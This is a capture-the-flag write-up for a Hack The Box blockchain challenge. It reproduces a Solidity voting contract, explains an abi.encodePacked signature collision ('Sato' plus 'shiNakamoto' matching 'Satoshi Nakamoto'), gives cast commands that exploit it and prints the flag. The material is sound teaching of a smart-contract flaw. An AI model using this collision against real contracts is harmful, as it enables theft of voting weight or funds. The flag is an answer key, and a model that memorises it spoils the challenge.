../

HTB Business CTF 2024 - NotADemocraticElection [blockchain]

Difficulty : easy

Team : Phreaks2600

Source files

In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate world, democracy has taken a backseat, and power is conveyed by wealth. Will you be able to bring back some Democracy in this hopeless land?

Introduction

We have to make a political party “CIM” win by raising its votes above 1000 * 10^18 votes (we can notice that 10^18 wei = 1ether).

Recon

Code reading

NotADemocraticElection.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
pragma solidity 0.8.25;

contract NotADemocraticElection {
    // ****************************************************
    // ******* NOTE: THIS NOT A DEMOCRATIC ELECTION *******
    // ****************************************************

    uint256 constant TARGET_VOTES = 1000e18;

    struct Party {
        string  fullname;
        uint256 totalvotes;
    }
    struct Voter {
        uint256 weight;
        address addr;
    }

    mapping(bytes3 _id => Party) public parties;
    mapping(bytes _sig => Voter) public voters;
    mapping(string _name => mapping(string _surname => address _addr)) public uniqueVoters;
    bytes3 public winner;

    event Voted(
        address _voter,
        bytes3  _party
    );
    event VoterDeposited(
        address _voter,
        uint256 _weight
    );
    event ElectionWinner(
        bytes3 _party
    );

    constructor(
       bytes3 _partyAsymbol , string memory _partyAfullname,
       bytes3 _partyBsymbol , string memory _partyBfullname
    ) {
        parties[_partyAsymbol].fullname = _partyAfullname;
        parties[_partyBsymbol].fullname = _partyBfullname;
    }

    function getVotesCount(bytes3 _party) public view returns (uint256) {
        return parties[_party].totalvotes;
    }
    
    function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) {
        return abi.encodePacked(_name, _surname);
    }

    function checkWinner(bytes3 _party) public {
        if (parties[_party].totalvotes >= TARGET_VOTES) {
            winner = _party; 
            emit ElectionWinner(_party);
        }
    }

    function depositVoteCollateral(string memory _name, string memory _surname) external payable {
        require(uniqueVoters[_name][_surname] == address(0), "Already deposited");

        bytes memory voterSig = getVoterSig(_name, _surname);
        voters[voterSig].weight += msg.value;
        uniqueVoters[_name][_surname] = msg.sender;

        emit VoterDeposited(msg.sender, msg.value);
    }

    function vote(
        bytes3 _party,
        string memory _name,
        string memory _surname
    ) public {
        require(uniqueVoters[_name][_surname] == msg.sender, "You cannot vote on behalf of others.");

        bytes memory voterSig = getVoterSig(_name, _surname);
        uint256 voterWeight = voters[voterSig].weight == 0 ? 1 : voters[voterSig].weight;
        parties[_party].totalvotes += 1 * voterWeight;
        
        emit Voted(msg.sender, _party);
        checkWinner(_party);
    }
}
  • You can register to vote by submitting your name and surname, and if you transfer ether your vote will carry more weight (I’m getting a kick out of this representation of corruption). A vote count 10 times if it’s weight is 10.
  • When the contract is initialized, there’s a member who’s already registered with 100 ether = 100 * 10^18 (they can whippin everything by casting just 10 votes)
  • His name is Satoshi Nakamoto
  • Of course, you can’t vote for someone else.
  • There’s a verification process based on the address that REGISTERED the person and the address that CARRIED out the vote.
  • If the address is verified, the code will take the voter’s first and last name signature by doing: abiEncodePacked(first name, last name)
  • This function is vulnerable because if I register a person called “Sato shiNakamoto”, his signature will be the same as that of “Satoshi Nakamoto” (everything is concatenated).
  • Documentation mentioning [flaw](the https://docs.soliditylang.org/en/latest/abi-spec.html).
  • Then all I have to do is vote with the fraudulent voter I’ve just created.

Solve

Steps to resolve:

  • Start the instance and retrieve the addresses
  • Make a call to depositVoteCollatoral with the following parameters: “Sato” “shiNakamoto” (could have been “Sat” “oshiNakamoto” etc)
  • Vote 10 times
  • Claim the flag

In commands it looks like this:

cast send $TARGET -r $RPC_URL --from $ATTACKER --private-key $PRIVATE_KEY "depositVoteCollateral(string,string)" Sato shiNakamoto

  • We vote for our favorite party 10 times: cast send $TARGET --private-key $PRIVATE_KEY -r $RPC_URL "vote(bytes3,string,string)" 0x43494d Sato shiNakamoto (execute the command 1 time like a clueless man, we’re not scripting here)

  • You can check the number of votes with cast call $TARGET -r $RPC_URL "getVotesCount(bytes3)" 0x43494d. Where “0x43494d” is “CIM” in hex.

HTB{h4sh_c0ll1s10n_t0_br1ng_b4ck_d3m0cr4cy}